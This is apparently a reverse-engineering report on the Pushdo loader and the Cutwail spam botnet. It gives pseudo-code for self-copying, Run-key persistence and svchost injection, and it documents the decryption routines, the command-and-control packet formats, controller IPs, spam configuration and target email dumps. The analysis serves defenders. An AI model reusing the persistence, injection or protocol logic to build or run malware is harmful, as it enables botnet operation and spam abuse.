Cutwail was first identified around January 2007. It is the most common spambot (HTTP based) that is installed by Pushdo. Pushdo is a malware installation framework, commonly known as a "trojan downloader" or "loader", but frequently referred to as a botnet.
Since 2007, the Cutwail botnet has been damaged at least 3 times due to the cutting off its upstream providers (look to McColo and 3FN). In October 2009, we noticed it started to bounce back by delivering fake UPS/DHL emails attached with the Pushdo loader in order to recover. This was very agressive, in fact: Cutwail set record daily detection levels in November 2009.

All operations occur in memory instead of using the hard disk, aiming to prevent security vendors from detecting the core module of Pushdo/Cutwail. From the analysis below, we can see that much development effort went into the encryption and architecture of the installer module, as well as the communication between bots and servers.
Like Waledec, Pushdo also uses a custom packer (UPX with custom stub). The encrypted stub is in the resource section, which will be decrypted after being copied to newly allocated memory. Figure 2-1 shows the flow of unpacking:

The decryption example shown in Figure 2-1 is as follows:
D9 0A 6A FA DE ^ 52 F5 3F 71 32 = 8B FF 55 8B EC
After the decryption, the de-UPX routine will be entered. After this, the Pushdo loader will be executed.

Figure 3-1 shows the installation of the Pushdo loader system. Below is a pseudo-code listing derived from this flow:
void main() {
char FileName[100];
char* Data;
char* Buffer;
char* CommandLine;
VOID* lpBuffer;
int NumberOfBytesWritten;
//Check OS Language. 0x0419 Russian.
if ( GetSystemDefaultUILanguage()&0xFF == 0x19 )
{
Delete_itself();
ExitProcess(0);
}
GetEnvironmentVariableA("SystemRoot", &Data, 0x104);
strcat(Data, "\\System32\\reader_s.exe");
GetEnvironmentVariableA("USERPROFILE", &Buffer, 0x104);
strcat(Buffer, "\\reader_s.exe");
//Running as reader_s.exe??
if ( 0 == strcmpi(GetModuleFileNameA(0, FileName, 0x104), "reader_s.exe") )
{
//ReadFile
if ( ReadFile(FileName, NumberOfBytesWritten) )
{
if ( NumberOfBytesWritten )
{
Running_Tag = 0;
//Copy itself to %SystemRoot%\system32\reader_s.exe
if ( Copy_Itself(&Data, lpBuffer, NumberOfBytesWritten) )
{
strcpy(CommandLine, "\"");
strcat(CommandLine, &Data);
strcat(CommandLine, "\"");
strcat(CommandLine, " /n");
//Execute
if ( Create_Process(&CommandLine) )
Running_Tag = 1;
}
//Copy itself to %USERPROFILE%\reader_s.exe
if ( Copy_Itself(&Buffer, lpBuffer, NumberOfBytesWritten) )
{
if ( !Running_Tag )
{
strcpy(CommandLine, "\"");
strcat(CommandLine, &Buffer);
strcat(CommandLine, "\"");
strcat(CommandLine, " /n");
//Execute
Create_Process(&CommandLine);
}
}
//Delete itself using "cmd /c del [file location] >>NUL"
Delete_itself();
ExitProcess(0);
}
}
}
//If it's running as reader_s.exe, it will create a thread which will inject decrypted
// svchost.exe thread code into new created
CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
while ( 1 )
{
Reg_SetValue(HKEY_LOCAL_MACHINE, "reader_s",
&Data,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");
Reg_SetValue(HKEY_CURRENT_USER, "reader_s",
&Buffer,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");
Sleep(20000);
}
}
Before Pushdo injects its code into svchost.exe, it will decrypt a code block which is in the Pushdo binary. This stage is shown as a red block in Figure 3-1. Figure 3-2 shows this decryption flow in more detail.

Below is a pseudo-code listing derived from the flow shown in Figure 3-2, with bytes 1 and 3 swapped:
int Decrypt_Injection_Code(int Start_Addr, unsigned int length)
{
int result;
int Temp;
int count = 0;
while ( count < length )
{
Temp = *( Byte *)(Start_Addr + count);
*( Byte *)(Start_Addr + count) = *( Byte *)(Start_Addr + count + 3);
*( Byte *)(Start_Addr + count + 3) = Temp;
*( Byte *)(Start_Addr + count + 1) ^= 0x59;
*( Byte *)(Start_Addr + count + 2) ^= 0x1B;
count += 4;
}
}
Once Pushdo is executed from svchost.exe, a series of events will occur that lead to the ultimate installation of the Cutwail spamming engine and Pushdu rootkit. This section details the reporting and retrieval process of the Pushdo bot agent (loader). In general, the steps are as follows:
Orginal data: 30 38 2f 31 35 2f 30 38 00
Data length: 9
Encrypt 30
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 30 ^ 9)
<< 3 = 00 00 00 00 00 00 01 c8
Encrypt 38
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 38 ^ 00 00 00 00 00 00 01 c8)
<< 3 = 00 00 00 00 00 00 0f 80
Encrypt 2f
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 2f ^ 00 00 00 00 00 00 0f 80)
<< 3 = 00 00 00 00 00 00 7d 78
Encrypt 31
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 31 ^ 00 00 00 00 00 00 7d 78)
<< 3 = 00 00 00 00 00 03 ea 48
Encrypt 35
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 35 ^ 00 00 00 00 00 03 ea 48)
<< 3 = 00 00 00 00 00 1f 53 e8
Encrypt 2f
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 2f ^ 00 00 00 00 00 1f 53 e8)
<< 3 = 00 00 00 00 00 fa 9e 38
Encrypt 30
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 30 ^ 00 00 00 00 fa 9e 38)
<< 3 = 00 00 00 00 07 d4 f0 40
Encrypt 38
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 38 ^ 00 00 00 00 07 d4 f0 40)
<< 3 = 00 00 00 00 3e a7 83 c0
Encrypt 00
00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 00 ^ 00 00 00 00 3e a7 83 c0)
<< 3 = 00 00 00 01 f5 3c 1e 00
Encryption Routine (Algorithm B):
Original data: 00 00 00 01 f5 3c 1e 00
00 00 00 01 f5 3c 1e 00 << 3 = 00 01 f5 3c 1e 00 00 00
Encryption Routine (Algorithm C):Finally, after these 2 encryption routines finish the result will be XORed with the result of the last processed step (5.1):
00 01 f5 3c 1e 00 00 00 ^ 00 00 00 00 d0 69 33 d2 = 00 01 f5 3c ce 69 33 d2
Original data block (Component 1):
0009C7E0 01 00 37 00 00 00 C1 84 5D 78 B7 98 9D 24 E8 F1 .7...羷]x窐?桉
0009C7F0 CE EA 05 00 00 00 01 00 00 00 28 0A 00 00 03 00 侮......(....
0009C800 00 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 ..............
Bot version info data block (Component 2).
This data structure will be illustrated in the section "0x42 Communication
between bot and server".
0009CC40 00 00 00 41 00 00 00 50 52 4F 50 19 00 00 00 14 ...A...PROP...
0009CC50 00 07 00 04 00 6C 64 72 76 65 72 00 37 00 00 00 ...ldrver.7...
0009CC60 50 52 4F 50 28 00 00 00 19 00 07 00 13 00 77 69 PROP(......wi
0009CC70 6E 76 65 72 00 05 00 00 00 01 00 00 00 28 0A 00 nver.......(..
0009CC80 00 03 00 00 00 00 01 01 .....

After the necessary information has been formed to communicate with the server, the next step is to perform the initial handshake. The following steps outline this process.

The data in the red circle is the hardcoded encryption key for encrypting the packet data header.
The data in the blue circle is the result of 2nd QueryPerformanceCount, as the encryption key for encrypt the packet data.

00083660 50 52 4F 50 1B 00 00 00 16 00 05 00 08 00 75 6E PROP......un
00083670 69 71 00 C1 84 5D 78 B7 98 9D 24 iq.羷]x窐??瓠
All properties are identified by "PROP" tags. The header construction for this is detailed below:
After these stages, the constructed bot information may look as shown below:
00083660 50 52 4F 50 1B 00 00 00 16 00 05 00 08 00 75 6E PROP......un
00083670 69 71 00 C1 84 5D 78 B7 98 9D 24 50 52 4F 50 18 iq.羷]x窐?PROP
00083680 00 00 00 14 00 06 00 04 00 63 6F 75 6E 74 00 00 ......count..
00083690 00 00 00 50 52 4F 50 1A 00 00 00 14 00 08 00 04 ...PROP.....
000836A0 00 73 65 73 73 69 6F 6E 00 E8 F1 CE EA 50 52 4F .session.桉侮PRO
000836B0 50 19 00 00 00 14 00 07 00 04 00 76 65 6E 64 6F P......vendo
000836C0 72 00 11 00 00 00 50 52 4F 50 18 00 00 00 12 00 r....PROP....
000836D0 08 00 02 00 6C 64 72 74 79 70 65 00 01 00 50 52 ..ldrtype..PR
000836E0 4F 50 19 00 00 00 14 00 07 00 04 00 6C 64 72 76 OP......ldrv
000836F0 65 72 00 37 00 00 00 50 52 4F 50 28 00 00 00 19 er.7...PROP(...
00083700 00 07 00 13 00 77 69 6E 76 65 72 00 05 00 00 00 ...winver....
00083710 01 00 00 00 28 0A 00 00 03 00 00 00 00 01 01 52 ...(.......R
00083720 45 43 56 08 00 00 00 ECV...
The following Table 4-1 describes each property formed and associated characteristics.
| Start Identifier (DD) | Data Length (DD) | Key Word Identifier (DW) | Key Word Length (DW) | Content Length (DW) | Key Word | Content | Description |
|---|---|---|---|---|---|---|---|
| 50 52 4F 50 PROP | 1B | 16 | 5 | 8 | 75 6E 69 71 00 uniq | C1 84 5D 78 B7 98 9D 24 | Encrypted data of system info |
| 50 52 4F 50 PROP | 18 | 14 | 6 | 4 | 63 6F 75 6E 74 00 count | 00 00 00 00 | Sent packet counter |
| 50 52 4F 50 PROP | 1A | 14 | 8 | 4 | 73 65 73 73 69 6F 6E 00 session | E8 F1 CE EA | Performance count |
| 50 52 4F 50 PROP | 19 | 14 | 7 | 4 | 76 65 6E 64 6F 72 00 vendor | 11 00 00 00 | Hardcoded in Pushdo |
| 50 52 4F 50 PROP | 18 | 12 | 8 | 2 | 6C 64 72 74 79 70 65 00 ldrtype | 01 00 | Hardcoded in Pushdo |
| 50 52 4F 50 PROP | 19 | 14 | 7 | 4 | 6C 64 72 76 65 72 00 ldrver | 37 00 00 00 | Hardcoded in Pushdo |
| 50 52 4F 50 PROP | 28 | 19 | 7 | 13 | 77 69 6E 76 65 72 00 winver | 05 00 00 00 01 00 00 00 28 0A 00 00 03 00 00 00 00 01 01 | Windows version info |
| 50 52 4F 50 PROP | 22 | 19 | 0A | 0A | 62 6F 74 73 74 61 74 75 73 00 botstatus | 34 00 00 00 00 00 02 10 00 00 | Running process info | 52 45 43 56 RECV | 08 | N/A | N/A | N/A | N/A | N/A | End of packet content |
Two algorithms will be used to encrypt the packet data, one for the header and the other for the data.
Encryption Algorithm 1 (Header):
XOR "Start Identifier" and "Data Length" with hardcoded key, both 2 DWORDs in length.
095050B0 45 9A B3 61 8E 20 3F 19 01 00 00 00 6F D7 04 F4 E毘a??...o?
For example:
50 52 4F 50 1B 00 00 00 ^ 45 9A B3 61 8E 20 3F 19 = 15 C8 FC 31 95 20 3F 19
52 45 43 56 08 00 00 00 ^ 45 9A B3 61 8E 20 3F 19 = 17 DF F0 37 86 20 3F 19
Encryption Algorithm 2 (Data):
The first 3 bytes of the key which was sent in the first packet before the bot information was constructed are used to encrypt data. To demonstrate, we will use our example from Figure 4-2: 37 8A 3A
Pushdo will then use different methods to encrypt the data based on the remainder of [data offset/4].
| Remainder | Method |
|---|---|
| 0 | Byte ^ 37 |
| 1 | Byte - 8A |
| 2 | Byte + 3A |
| 3 | Byte ^ (3A + 8A) |
For Example:
Original data: 16 00 05 00 08 00 75 6E
Encrypted data: 21 76 3f c4 3f 76 af aa

Soon afterward, the server will send back the encrypted new server IP list.
Original data buffer example:
00300020 50 52 4F 50 AE 00 00 00 3E 76 40 C4 AD 76 AA B6 PROP?..>v@沫v
00300030 58 EE B3 C4 24 76 3A C4 37 76 8A C4 05 A7 72 EA X畛?v:?v娔
00300040 01 A7 68 F3 19 AF 3A D2 37 76 3A C4 37 C6 3A F2 ???v:??
00300050 06 A4 6B F1 0F A4 6B F2 00 A4 6F FD 37 8E 3A C4 ????
00300060 37 76 3A 94 37 A7 71 F0 19 A7 6D F7 19 A7 6A F0 7v:???
00300070 19 A8 6B F4 37 8C 3A C4 37 76 3A 94 37 A8 6C F5 ╧???v:?╨
00300080 19 A8 6D F4 19 A8 68 F6 07 AE 3A D2 37 76 3A C4 ╩?╤???v:
00300090 37 C6 3A F2 06 A4 6B F1 0F A4 6B F2 00 A4 6F F6 7????
003000A0 37 8D 3A C4 37 76 3A 94 37 A8 6C F6 19 A7 6D FC 7??v:?╨?
003000B0 19 A7 6A FD 19 AF 73 C4 21 76 3A C4 37 76 8A C4 ?痵?v:?v娔
003000C0 01 AF 68 F5 01 A8 68 F5 06 AD 68 F1 07 76 00 00 痟?╤?環?v..
Decryption Algorithm 1 (Header):
As with the encryption, the header will be decrypted by XORing the original data with the hardcoded key.
Decryption Algorithm 2 (Data):
As with the encryption, the data will be decrypted with the inverse method based off the remainder of [data offset/4]. Table 4-3 shows this, again using our key example from Figure 4-2: 37 8A 3A
| Remainder | Method |
|---|---|
| 0 | Byte ^ 37 |
| 1 | Byte + 8A |
| 2 | Byte - 3A |
| 3 | Byte ^ (3A + 8A) |
This is what the decrypted data buffer of the retrieved server list looks like:
00300020 50 52 4F 50 AE 00 00 00 09 00 06 00 9A 00 70 72 PROP?.....?pr
00300030 6F 78 79 00 13 00 00 00 00 00 50 00 32 31 38 2E oxy......P.218.
00300040 36 31 2E 37 2E 39 00 16 00 00 00 00 00 50 00 36 61.7.9......P.6
00300050 31 2E 31 35 38 2E 31 36 37 2E 35 39 00 18 00 00 1.158.167.59...
00300060 00 00 00 50 00 31 37 34 2E 31 33 33 2E 31 30 34 ...P.174.133.104
00300070 2E 32 31 30 00 16 00 00 00 00 00 50 00 32 32 31 .210......P.221
00300080 2E 32 33 30 2E 32 2E 32 30 38 00 16 00 00 00 00 .230.2.208.....
00300090 00 50 00 36 31 2E 31 35 38 2E 31 36 37 2E 35 32 .P.61.158.167.52
003000A0 00 17 00 00 00 00 00 50 00 32 32 32 2E 31 33 38 ......P.222.138
003000B0 2E 31 30 39 2E 39 39 00 16 00 00 00 00 00 50 00 .109.99......P.
003000C0 36 39 2E 31 36 32 2E 31 31 37 2E 35 30 00 C6 C4 69.162.117.50.颇
003000D0 37 8A C6 C4 37 8A 00 00 00 00 00 00 00 00 00 00 7娖??.........
Based on the decrypted data, the process heap will be updated with the new server list and the memory offset will also be updated.
Several packets will typically be sent to update the server list ("PROP" tag in header). After this, the bot will receive the "FILE" tag, which when decrypted, will look like this:
00330020 46 49 4C 45 24 92 00 00 02 00 00 00 0B 00 01 00 FILE$?.... ..
00330030 00 92 00 00 34 00 00 00 52 6F 6F 74 4B 69 74 5F .?.4...RootKit_
00330040 31 37 00 00 4D 5A 90 00 03 00 00 00 04 00 00 00 17..MZ?......
00330050 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 ..?......@...
00330060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00330070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00330080 D8 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C ?.. ?.???L
00330090 CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 ?This program c
When receiving file data, the bot will follow these steps:
CheckSum Algorithm:
1. 00 00 5a 4d + 00 00 00 00 = 00 00 5a 4d
00 00 5a 4d shr 10 + 5a 4d & ffff = 00 00 5a 4d
2. 00 00 00 09 + 00 00 5a 4d = 00 00 5a dd
00 00 5a dd shr 10 + 00 00 5a dd & ff ff = 00 00 5a dd
3. 00 00 00 03 + 00 00 5a dd = 00 00 5a e0
00 00 5a e0 shr 10 + 00 00 5a e0 & ffff = 00 00 5a e0
4. 00 00 00 00 + 00 00 5a e0 = 00 00 5a e0
00 00 5a e0 shr 10 + 00 00 5a e0 & ffff = 00 00 5a e0
......
Iterations = File Length / 2
The final result, in our example "02 10 00 00", will be stored in the stack.
After retrieving a file, the Pushdo bot agent will send a report to the server. It will first update its bot status data in memory, which will includes the following:
Only the checksum value and file version are sent to the server. This is interesting, because these parameters are used by the server to decide the next action. For example, if the checksum and file version relate to the rootkit, the server will send the next component. If the rootkit was failing, it will attempt to re-send the rootkit. This protocol allows dynamic action on the server part, and certainly makes Pushdo's communication more robust. The report data sent to the server consists of tags which include (Refer to Table 4-1 for more information):
Example of sent packet data:
00083400 50 52 4F 50 1B 00 00 00 PROP...
00083410 16 00 05 00 08 00 75 6E 69 71 00 45 19 CB F8 37 ...uniq.E锁7
00083420 52 55 32 50 52 4F 50 18 00 00 00 14 00 06 00 04 RU2PROP.....
00083430 00 63 6F 75 6E 74 00 03 00 00 00 50 52 4F 50 1A .count....PROP
00083440 00 00 00 14 00 08 00 04 00 73 65 73 73 69 6F 6E ......session
00083450 00 BA F9 DF 5C 50 52 4F 50 19 00 00 00 14 00 07 .葫運PROP....
00083460 00 04 00 76 65 6E 64 6F 72 00 11 00 00 00 50 52 ..vendor....PR
00083470 4F 50 18 00 00 00 12 00 08 00 02 00 6C 64 72 74 OP......ldrt
00083480 79 70 65 00 01 00 50 52 4F 50 22 00 00 00 19 00 ype..PROP"....
00083490 0A 00 0A 00 62 6F 74 73 74 61 74 75 73 00 34 00 ....botstatus.4.
000834A0 00 00 00 00 02 10 00 00 52 45 43 56 08 00 00 00 ......RECV...
After the Rootkit process has been run through svchost.exe, the next file typically received is the spam engine (Cutwail). The same steps will then be taken from 0x44 and 0x45: processing, execution and reporting. Here is an example of the decrypted mailer FILE packet received from the server:
00330020 46 49 4C 45 2A 5E 04 00 00 00 00 00 11 00 01 00 FILE*^..........
00330030 00 5E 04 00 12 00 00 00 4D 61 69 6C 65 72 5F 52 .^......Mailer_R
00330040 53 31 5F 65 6D 70 74 79 00 00 4D 5A 90 00 03 00 S1_empty..MZ?..
00330050 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 ........?....
00330060 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 ..@.............
00330070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00330080 00 00 00 00 00 00 F0 00 00 00 0E 1F BA 0E 00 B4 ......?....?.?
00330090 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F .??L?This pro
After processing the spam engine, the next downloaded file is an associated component - the server/controller list. Again, the same processing, execution and reporting steps are taken. The list consists of multiple entries using the format "/host: IP /port: xx", where IP is the controller and xx is the associated port. These controllers will later be used by Cutwail for C&C.
After all components are downloaded, the registry will then be updated with the newest server list. The following steps are taken:
Encryption Algorithm Example:
Key Generation:
Initial Key: 1b 4a 00 f2
1b 4a 00 f2 >> 18 = 1b <---1st key
mod(1b 4a 00 f2/3) = 1
1<<3 = 8
(1b 4a 00 f2) >> 8 = 00 1b 4a 00
(00 1b 4a 00) & 0xff = 00 <---2nd key
Data Encryption:
1. 11 - 1b = f6
f6 ^ 00 = f6
2. 00 - 1b = e5
e5 ^ 00 = e5
3. 00 - 1b= e5
e5 ^ 00 = e5
4. 00 - 1b= e5
e5 ^ 00 = e5
5. 07 - 1b= ec
ec ^ 00 = ec
....
This section will examine the downloaded rootkit component from 0x44. This component comes with an installer and a module.
The installer will drop and install the rootkit module as "ndis.sys" using these steps:
Ironically, once the Windows File Protection re-enables, Pushdo's injected rootkit will now be protected.
The installed rootkit module will then perform the following actions:
This rootkit's main function is to make sure the original Pushdo installer will be loaded when computer is started.
This section will examine the downloaded spam engine component from 0x46. When this component is executed, it will send an initial communication packet to the server. The list of servers was retrieved in 0x47 by the Pushdo loader. The following steps are detailed:
This packet contains basic bot information, such as the Windows version. Cutwail will send this to the server, and receive a response which includes a header with an initial communication and data length tag. The header is followed by encrypted data, which when decrypted will contain updated information and a communication flag for the session. In our example, the communication flag used was "CA". The updated information includes new server/controller IPs and configuration parameters such as timeouts. The updated server list is not stored in the registry like Pushdo.
Sent Request Packet Data:
00000000 cf 16 00 00 01 00 00 00 74 00 00 00 00 00 00 00 ........ t.......
00000010 00 00 00 00 05 01 28 0a 02 00 00 00 00 00 00 00 ......(. ........
Received Header Data:
03E2FF4C 07 00 00 00 98 01 00 00 00 00 00 00 ...?......?..
07 00 00 00: The initial communicate tag.
98 01 00 00: The data length.
The decryption algorithm for the received data is as follows:
Decrypted Response Data:
003FF3C8 01 00 00 00 CA 00 00 00 61 64 64 72 00 37 38 2E ...?..addr.78.
003FF3D8 31 35 39 2E 31 30 32 2E 31 30 35 00 70 6F 72 74 159.102.105.port
003FF3E8 00 33 32 32 31 32 00 6B 6E 6F 63 6B 64 65 6C 61 .32212.knockdela
003FF3F8 79 00 36 30 00 73 61 76 65 75 6E 6B 61 6E 73 77 y.60.saveunkansw
003FF408 00 00 74 75 72 62 6F 6D 69 6E 00 31 30 00 74 75 ..turbomin.10.tu
003FF418 72 62 6F 6D 61 78 00 31 32 00 6D 78 72 65 63 76 rbomax.12.mxrecv
003FF428 74 69 6D 65 6F 75 74 00 38 30 00 6D 78 63 6F 6E timeout.80.mxcon
003FF438 6E 74 69 6D 65 6F 75 74 00 36 30 00 6D 61 78 74 ntimeout.60.maxt
003FF448 72 79 62 61 64 66 72 6F 6D 00 31 00 6D 61 78 74 rybadfrom.1.maxt
003FF458 72 79 63 6F 6E 6E 00 33 23 23 23 23 00 6D 61 78 ryconn.3####.max
003FF468 74 72 79 65 72 72 00 31 00 6D 61 78 74 72 79 62 tryerr.1.maxtryb
003FF478 6C 61 63 6B 00 31 00 6D 61 78 64 6F 6D 63 6F 6E lack.1.maxdomcon
003FF488 6E 00 32 00 6D 61 78 63 6F 6E 6E 00 32 30 30 00 n.2.maxconn.200.
003FF498 6D 61 78 75 64 70 74 72 79 00 35 00 75 64 70 72 maxudptry.5.udpr
003FF4A8 65 63 76 74 69 6D 65 6F 75 74 00 32 30 00 63 68 ecvtimeout.20.ch
003FF4B8 65 63 6B 73 6D 74 70 64 65 6C 61 79 00 32 34 30 ecksmtpdelay.240
003FF4C8 00 75 64 70 73 6F 63 6B 63 6F 75 6E 74 00 31 36 .udpsockcount.16
003FF4D8 00 63 6F 6E 73 74 63 6F 6E 6E 65 63 74 00 31 00 .constconnect.1.
003FF4E8 68 65 6C 6F 73 65 6C 65 63 74 69 66 68 6F 73 74 heloselectifhost
003FF4F8 00 33 00 74 72 79 70 69 70 65 6C 69 6E 69 6E 67 .3.trypipelining
003FF508 00 31 00 62 6F 74 5F 63 6F 6E 74 72 5F 64 69 76 .1.bot_contr_div
003FF518 00 00 64 69 65 69 66 6E 6F 73 70 61 6D 00 30 00 ..dieifnospam.0.
003FF528 64 69 65 69 66 6E 6F 73 70 61 6D 00 30 00 64 69 dieifnospam.0.di
003FF538 65 69 66 6E 6F 73 70 61 6D 00 30 00 64 69 65 69 eifnospam.0.diei
003FF548 66 6E 6F 73 70 61 6D 00 30 00 64 69 65 69 66 6E fnospam.0.dieifn
003FF558 6F 73 70 61 6D 00 30 00 00 00 00 00 00 00 00 00 ospam.0.........
After receiving the mail relay list, Cutwail will finalize a handshake with its controller. The controller will send back to Cutwail a bot identifier and its detected, external IP address. This data is encrypted, and decrypted using the same methods outlined in 0x61. Here is an example of packet data:
Sent Request Packet Data:
00000020 00 00 00 00 01 00 00 00 74 00 00 00 ca 00 00 00 .e...... t.......
00000030 00 00 00 00 05 01 28 0a 02 00 00 00 00 00 00 00 ......(. ........
Decrypted Response Packet Data:
04 65 00 00 d0 5b 0a aa bb cc dd 00 00 00 00
04 65 00 00: Bot identifier.
aa bb cc dd: External ip address of the bot.
Before spamming, Cutwail needs to receive content. The next three steps show examples from sent/received packets. All received packets are encrypted, and decrypted using the methods outlined in 0x61 (fixed key). The received content consists of a list of addresses and associated mail servers, the template in which to spam, and a list of names in which to send the spam mail from.
Sent Request Packet Data:
00000020 04 65 00 00 01 00 00 00 74 00 00 00 ca 00 00 00 .e...... t.......
00000030 00 00 00 00 05 01 28 0a 02 00 05 00 00 00 00 00 ......(. ........
Decrypted Response Packet Data:
00006DA0 F9 AF 46 00 38 07 19 01 03 00 00 00 00 6F 6D 6E ù¯F.8........omn
00006DB0 69 62 75 73 65 73 64 76 39 33 40 72 69 6D 73 75 ibusesdv93@rimsu
00006DC0 70 70 6C 79 2E 63 6F 6D 00 6D 61 69 6C 2E 72 69 pply.com.mail.ri
00006DD0 6D 73 75 70 70 6C 79 2E 63 6F 6D 00 D1 5E 66 89 msupply.com.Ñ^f‰
00006DE0 00 64 69 73 73 69 64 65 6E 63 65 33 32 31 39 40 .dissidence3219@
00006DF0 72 68 6F 64 65 73 6F 6B 6C 61 2E 63 6F 6D 00 72 rhodesokla.com.r
00006E00 68 6F 64 65 73 6F 6B 6C 61 2E 63 6F 6D 2E 73 38 hodesokla.com.s8
00006E10 61 32 2E 70 73 6D 74 70 2E 63 6F 6D 00 40 12 07 a2.psmtp.com.@..
00006E20 0B 00 70 61 63 69 66 69 65 64 77 72 67 40 72 6F ..pacifiedwrg@ro
00006E30 74 68 73 61 79 2E 63 6F 6D 00 6D 61 69 6C 2E 72 thsay.com.mail.r
...
Sent Request Packet Data:
00000040 04 65 00 00 01 00 00 00 74 00 00 00 ca 00 00 00 .e...... t.......
00000050 03 00 00 00 05 01 28 0a 02 00 05 00 00 00 00 00 ......(. ........
Decrypted Response Packet Data:
000194F0 02 00 00 00 7B 6F 65 6D 73 75 62 7D 00 22 7B 5F ....{oemsub}."{_
00019500 46 49 52 53 54 4E 41 4D 45 7D 20 7B 5F 4C 41 53 FIRSTNAME} {_LAS
00019510 54 4E 41 4D 45 7D 22 20 3C 7B 4D 41 49 4C 5F 46 TNAME}" <{MAIL_F
00019520 52 4F 4D 7D 3E 00 7B 48 54 4D 4C 5F 44 45 43 4F ROM}>.{HTML_DECO
00019530 44 45 7D 7B 5F 42 4F 44 59 5F 48 54 4D 4C 7D 7B DE}{_BODY_HTML}{
00019540 2F 48 54 4D 4C 5F 44 45 43 4F 44 45 7D 0D 0A 68 /HTML_DECODE}..h
00019550 74 74 70 3A 2F 2F 7B 6F 65 6D 75 72 6C 31 7D 00 ttp://{oemurl1}.
00019560 3C 68 74 6D 6C 3E 0D 0A 3C 68 65 61 64 3E 0D 0A ....
00019570 3C 74 69 74 6C 65 3E 3C 2F 74 69 74 6C 65 3E 0D .
00019580 0A 3C 2F 68 65 61 64 3E 0D 0A 3C 62 6F 64 79 20 ...
Sent Request Packet Data:
00000060 04 65 00 00 01 00 00 00 74 00 00 00 ca 00 00 00 .e...... t.......
00000070 03 00 00 00 05 01 28 0a 02 00 05 00 00 00 00 00 ......(. ........
Decrypted Response Packet Data:
0000C590 69 74 68 72 61 6E 64 69 72 6D 6C 6C 77 00 02 00 ithrandirmllw...
0000C5A0 00 00 7C 6D 69 74 68 72 61 6E 64 69 72 6D 6D 77 ..|mithrandirmmw
0000C5B0 6F 00 03 00 00 00 7C 6D 69 74 68 72 61 6E 64 69 o.....|mithrandi
0000C5C0 72 6D 6E 64 6E 00 04 00 00 00 7C 6D 69 74 68 72 rmndn.....|mithr
0000C5D0 61 6E 64 69 72 6D 6E 6B 67 00 05 00 00 00 7C 6D andirmnkg.....|m
0000C5E0 69 74 68 72 61 6E 64 69 72 72 6F 71 67 00 06 00 ithrandirroqg...
0000C5F0 00 00 7C 6D 69 74 68 72 61 6E 64 69 72 74 63 6E ..|mithrandirtcn
0000C600 68 00 07 00 00 00 7C 6D 69 74 68 72 61 6E 64 69 h.....|mithrandi
0000C610 72 77 75 64 73 00 08 00 00 00 7C 6D 69 74 68 72 rwuds.....|mithr
...





The author has left debug information in each binary with the following names:
Inject Code: f:\\programs\\revolution6\\loader\\objfre_wxp_x86\\i386\\Loader.pdb
Pushdo Installer: f:\programs\revolution6\preloader\objfre_wxp_x86\i386\PreLoader.pdb
Rootkit Installer: c:\programs\revolution6\rkinstall\objfre_w2k_x86\i386\RkInstall.pdb
Rootkit: c:\programs\revolution6\innerdrv\objfre_w2k_x86\i386\InnerDrv.pdb
Rootkit: c:\programs\revolution6\protect\objfre_w2k_x86\i386\Protect.pdb
Spam Engine: c:\programs\bot25\bot\build\release\mailerapp\MailerApp.pdb